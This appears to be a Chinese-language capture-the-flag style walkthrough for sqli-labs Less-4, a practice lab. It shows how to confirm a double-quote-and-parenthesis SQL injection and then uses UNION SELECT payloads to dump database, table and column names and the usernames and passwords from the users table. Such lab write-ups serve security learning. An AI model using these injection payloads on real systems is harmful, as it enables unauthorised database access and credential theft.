[网络安全]sqli-labs Less-4 解题详析

判断注入类型

GET1" and "1"="1,回显如下:

GET1" and "1"="2
没有回显,说明该漏洞类型为GET型双引号字符型注入

判断注入点个数

GET1" order by 3 --+

复制代码
由上图可知,sql语法中给$id加上了()
猜测后端语句为SELECT * FROM xx where id=("$id")
故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=("1") order by 3 --+")
即SELECT * FROM xx where id=("-1") order by 3

GET1") order by 3 --+

GET1") order by 4 --+
故注入点为3

查库名

GET-1") union select 1,2,database(); --+

回显库名security

查表名

复制代码
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

复制代码
-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

Payload:-1") union select 1,group_concat(username),group_concat(password) from 库名.表名; --+

实例如下:

复制代码
-1") union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
老友@17 分钟前
小集合 VS 大集合:MySQL 去重计数性能优化
数据库·mysql·性能优化
声声codeGrandMaster26 分钟前
django之优化分页功能(利用参数共存及封装来实现)
数据库·后端·python·django
熏鱼的小迷弟Liu2 小时前
【Redis】Redis Zset实现原理:跳表+哈希表的精妙设计
数据库·redis·散列表
淋一遍下雨天2 小时前
Spark Streaming核心编程总结(四)
java·开发语言·数据库
琢磨先生David2 小时前
重构数字信任基石:Java 24 网络安全特性的全维度革新与未来防御体系构建
java·web安全·密码学
zru_96023 小时前
Windows 安装 MongoDB 教程
数据库·mongodb
数据与后端架构提升之路3 小时前
深度解析如何将图像帧和音频片段特征高效存储到向量数据库 Milvus
数据库·opencv·音视频
20242817李臻4 小时前
李臻20242817_安全文件传输系统项目报告_第9周
数据库·安全
小白考证进阶中4 小时前
0基础可以考MySQL OCP么?备考时间需要多久?
数据库·mysql·开闭原则
观无4 小时前
Redis远程链接应用案例
数据库·redis·缓存·c#